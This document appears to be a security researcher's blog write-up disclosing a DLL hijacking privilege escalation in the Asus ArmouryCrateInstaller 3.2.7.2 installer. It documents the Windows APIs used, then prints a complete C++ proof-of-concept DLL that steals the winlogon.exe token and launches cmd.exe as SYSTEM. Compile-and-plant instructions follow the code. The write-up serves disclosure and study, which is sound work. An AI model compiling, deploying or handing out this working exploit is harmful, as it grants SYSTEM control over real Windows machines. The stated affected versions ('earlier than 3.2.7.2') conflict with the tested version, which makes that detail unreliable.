Post

Reversing and Exploiting Aura Sync / Aura Creator ArmouryCrateInstaller Installer

Local Privilege Escalation in Aura Sync / Aura Creator - ArmouryCrateInstaller 3.2.7.2 For Windows Installer

Introduction

Hello everyone Today, we delve into the intricate world of security vulnerabilities and uncovering a flaw which recently i have found in the Asus ArmouryCrateInstaller 3.2.7.2 for Windows, this writeup aims to provide a detailed analysis of a local privilege escalation exploit shedding light on the technical intricacies behind the scenes

Disclaimer:

This article is for educational purposes only. Unauthorized exploitation of vulnerabilities is against the law and goes against ethical practices.

0x01: The Details

  • Title: Local Privilege Escalation in Aura Sync / Aura Creator - ArmouryCrateInstaller 3.2.7.2 For Windows Installer
  • CVE ID: None
  • Vendor ID: None
  • Advisory Published: August 5, 2023
  • Vendor URL: Asus
  • Software Download: ArmouryCrateInstaller

0x02: Test Environment

  • ArmouryCrateInstaller Version: 3.2.7.2
  • OS: Windows 10 20H2 (OS Build: 19045.3508)

0x03: Vulnerability Details

The vulnerability at hand allows a local attacker to escalate their privileges to SYSTEM level by exploiting administrator privileges. This exploit enables the execution of actions within the limits of the client’s security context.

0x04: Technical Description

The exploit revolves around the loading of several DLLs from the directory where the ArmouryCrateInstaller is located. Notably, profapi.dll, PROPSYS.dll, edputil.dll, urlmon.dll, SspiCli.dll are loaded with Administrator privileges. By strategically placing these DLLs in the ArmouryCrateInstaller Version directory, an attacker can abuse Administrator privileges and gain SYSTEM privileges.

Over the Horizon - breaking down exploit

Let’s break down the key functions used in the provided exploit step by step and understand their purpose. Each function is accompanied by its corresponding documentation details.

for more

1. EnumProcesses

1
2
3
4
5
BOOL EnumProcesses(
  [out] DWORD  *lpidProcess,
  [in]  DWORD  cb,
  [out] LPDWORD lpcbNeeded
);
  • Description: Enumerates all processes running on the system.
  • Parameters:
    • lpidProcess: An array that receives the list of process identifiers.
    • cb: Size of the lpidProcess array in bytes.
    • lpcbNeeded: The number of bytes required to store all process identifiers if the function fails with ERROR_INSUFFICIENT_BUFFER.

2. CreateToolhelp32Snapshot

1
2
3
4
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
  • Description: Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.
  • Parameters:
    • dwFlags: The portions of the system to include in the snapshot.
    • th32ProcessID: The process identifier of the process to be included in the snapshot.

3. OpenProcess

1
2
3
4
5
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
  • Description: Opens an existing local process object or a remote process object.
  • Parameters:
    • dwDesiredAccess: The access to the process object.
    • bInheritHandle: If TRUE, the returned handle can be inherited by child processes.
    • dwProcessId: The process identifier.

4. OpenProcessToken

1
2
3
4
5
BOOL OpenProcessToken(
  [in]  HANDLE  ProcessHandle,
  [in]  DWORD   DesiredAccess,
  [out] PHANDLE TokenHandle
);
  • Description: Opens the access token associated with a process.
  • Parameters:
    • ProcessHandle: A handle to the process whose access token is opened.
    • DesiredAccess: The access to the process object.
    • TokenHandle: A pointer to the handle identifying the newly opened access token.

5. LookupPrivilegeValue

1
2
3
4
5
BOOL LookupPrivilegeValue(
  [in, optional] LPCTSTR lpSystemName,
  [in]           LPCTSTR lpName,
  [out]          PLUID   lpLuid
);
  • Description: Retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name.
  • Parameters:
    • lpSystemName: The name of the system on which the privilege name is retrieved. Use NULL for the local system.
    • lpName: The name of the privilege.
    • lpLuid: A pointer to the variable that receives the LUID by this function.

6. AdjustTokenPrivileges

1
2
3
4
5
6
7
8
BOOL AdjustTokenPrivileges(
  [in]  HANDLE            TokenHandle,
  [in]  BOOL              DisableAllPrivileges,
  [in]  PTOKEN_PRIVILEGES NewState,
  [in]  DWORD             BufferLength,
  [out] PTOKEN_PRIVILEGES PreviousState,
  [out] PDWORD            ReturnLength
);
  • Description: Enables or disables privileges in the specified access token.
  • Parameters:
    • TokenHandle: A handle to the access token that contains the privileges to be modified.
    • DisableAllPrivileges: If this parameter is TRUE, all privileges are disabled.
    • NewState: A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes.
    • BufferLength: The size, in bytes, of the buffer for the PreviousState parameter.
    • PreviousState: A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that this function modifies.

7. ImpersonateLoggedOnUser

1
2
3
BOOL ImpersonateLoggedOnUser(
  [in] HANDLE hToken
);
  • Description: The ImpersonateLoggedOnUser function lets the calling thread impersonate the security context of a logged-on user.
  • Parameters:
    • hToken: A handle to a primary or impersonation access token that represents a logged-on user.

8. DuplicateTokenEx

1
2
3
4
5
6
7
8
BOOL DuplicateTokenEx(
  [in]  HANDLE                       hExistingToken,
  [in]  DWORD                        dwDesiredAccess,
  [in]  LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  [in]  TOKEN_TYPE                   TokenType,
  [out] PHANDLE                      phNewToken
);
  • Description: Creates a new primary or impersonation token.
  • Parameters:
    • hExistingToken: A handle to an access token opened with TOKEN_DUPLICATE access.
    • dwDesiredAccess: Specifies the requested access rights for the new token.
    • lpTokenAttributes: A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new token and determines whether child processes can inherit the token.
    • ImpersonationLevel: Specifies a SECURITY_IMPERSONATION_LEVEL enumerated type that indicates the impersonation level of the new token.
    • TokenType: Specifies one of the TOKEN_TYPE enumerated types that indicates whether the new token is a primary or impersonation token.
    • phNewToken: A pointer to a variable that receives a handle to the duplicate token.

9. CreateProcessWithTokenW

1
2
3
4
5
6
7
8
9
10
11
BOOL CreateProcessWithTokenW(
  [in]  HANDLE                       hToken,
  [in]  DWORD                        dwLogonFlags,
  [in]  LPCWSTR                      lpApplicationName,
  [in]  LPWSTR                       lpCommandLine,
  [in]  DWORD                        dwCreationFlags,
  [in, optional] LPVOID              lpEnvironment,
  [in]  LPCWSTR                      lpCurrentDirectory,
  [in]  LPSTARTUPINFOW               lpStartupInfo,
  [out] LPPROCESS_INFORMATION        lpProcessInformation
);
  • Description: Creates a new process and its primary thread, using the specified token and additional information.
  • Parameters:
    • hToken: A handle to the primary token that represents a user.
    • dwLogonFlags: The logon option.
    • lpApplicationName: The name of the module to be executed.
    • lpCommandLine: The command line to be executed.
    • dwCreationFlags: The flags that control the priority class and the creation of the process.
    • lpEnvironment: A pointer to the environment block for the new process.
    • lpCurrentDirectory: The full path to the current directory for the process.
    • lpStartupInfo: A pointer to a STARTUPINFO structure.
    • `lpProcessInformation

: A pointer to a PROCESS_INFORMATION` structure that receives identification information about the new process.

0x05: Complete Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
/*
@component: Asus Aura Sync / Aura Creator - ArmouryCrateInstaller 3.2.7.2

@filename: dllpoc.cpp

@vulnerability: 0Day - Arbitrary Code Execution (DLL Hijacking) To Local Privilege Escalation In 
Asus Aura Sync - ArmouryCrateInstaller 3.2.7.2

@author: RashidKhan Pathan (iHexCoder)


*/

#include <stdio.h>
#include <windows.h>
#include <Psapi.h>
#include <Tlhelp32.h>
#include <sddl.h>
#include <iostream>


#pragma comment (lib,"advapi32.lib")

void exploit() {
    printf("[+] Vulnerability: Local Privilege Escalation Via DLL Hijacking \n");
    printf("[+] Author: RashidKhan Pathan (iHexCoder) \n");
    printf("[+] Tested On: Windows 10 20H2 (OS Build: 19045.3508) \n");
    printf("[+] Affected Products: Aura Sync / Aura Creator - ArmouryCrateInstaller 3.2.7.2 \n");
    printf("[+] Affected Components: profapi.dll, PROPSYS.dll, edputil.dll, urlmon.dll, SspiCli.dll \n");

    DWORD lpidProcess[2048], lpcbNeeded, cProcesses;
    EnumProcesses(lpidProcess, sizeof(lpidProcess), &lpcbNeeded);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    PROCESSENTRY32 p32;
    p32.dwSize = sizeof(PROCESSENTRY32);

    int processwinloginPid;

    if (Process32First(hSnapshot, &p32)) {
        do {
            if (wcscmp(p32.szExeFile, L"winlogon.exe") == 0) {
                printf("[+] Located winlogon.exe by process name (PID %d)\n", p32.th32ParentProcessID);
                processwinloginPid = p32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &p32));

        CloseHandle(hSnapshot);

        LUID luid;
        HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

        if (currentProc) {
            HANDLE TokenHandle = NULL;
            BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
            if (hProcessToken) {
                BOOL checkToken = LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);

                if (!checkToken) {
                    printf("[+] Current Process token Already Include SeDebugPrivilege \n");
                }
                else
                {
                    TOKEN_PRIVILEGES tokenPrivs;

                    tokenPrivs.PrivilegeCount = 1;
                    tokenPrivs.Privileges[0].Luid = luid;
                    tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                    BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);
                    
                    if (adjustToken != 0)
                    {
                        printf("[+] Added SeDebugPrivilege to the current process token: %lx \n", adjustToken);
                    }
                }
                CloseHandle(TokenHandle);
            }
        }
        CloseHandle(currentProc);

        HANDLE hProcess = NULL;
        HANDLE TokenHandle = NULL;
        HANDLE NewToken = NULL;
        BOOL OpenToken;
        BOOL Impersonate;
        BOOL Duplicate;

        hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processwinloginPid);

        if (!hProcess)
        {
            printf("[-] Faild To Obtain a Handle To The Target PID \n");
        }
        printf("[+] Obtained Handle To The Target PID %lx\n", hProcess);

        OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);

        if (!OpenToken)
        {
            printf("[-] Faild To Obtain Handle to The TOKEN %d\n", GetLastError());
        }
        printf("[+] Obtained A Handle To The Target Token %lx \n", OpenToken);

        Impersonate = ImpersonateLoggedOnUser(TokenHandle);
        if (!Impersonate)
        {
            printf("[-] Faild To Impersonate The TOKEN User \n");
        }
        printf("[+] Impersonted The Token's User %lx \n", Impersonate);

        Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken);
        if (!Duplicate)
        {
            
            printf("[-] Faild To Dulplicate The Target Token\n");
        }
        printf("[+] Duplicated The Target Token %lx \n", Duplicate);

        BOOL NewProcess;
        STARTUPINFO lpStartupInfo = { 0 };
        PROCESS_INFORMATION lpProcessInformation = { 0 };

        lpStartupInfo.cb = sizeof(lpStartupInfo);

        NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation);

        if (!NewProcess)
        {
            printf("[-] Faild To Create A SYSTEM Process \n");
        }
        printf("[+] Create A SYSTEM Process %lx \n", NewProcess);
        printf("[+] Getting System Shell \n");
        printf("-------------------------------------------------------\n");

        CloseHandle(NewToken);
        CloseHandle(hProcess);
        CloseHandle(TokenHandle);
    }
}

BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        exploit();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
  1. Use Visual Studio 2019/2022 to compile the project in the DLL directory in x64 Release mode.
  2. Rename the compiled dll to profapi.dll and place it in the same directory as ArmouryCrateInstaller.exe.
  3. Run ArmouryCrateInstaller.
  4. Obtain a SYSTEM Shell with NT Authority.

0x06: Affected Products

This vulnerability affects Asus Aura Sync/Creator - ArmouryCrateInstaller versions earlier than 3.2.7.2.

0x07: Credit Information

Author: RashidKhan Pathan (@itRashid)

This post is licensed under CC BY 4.0 by the author.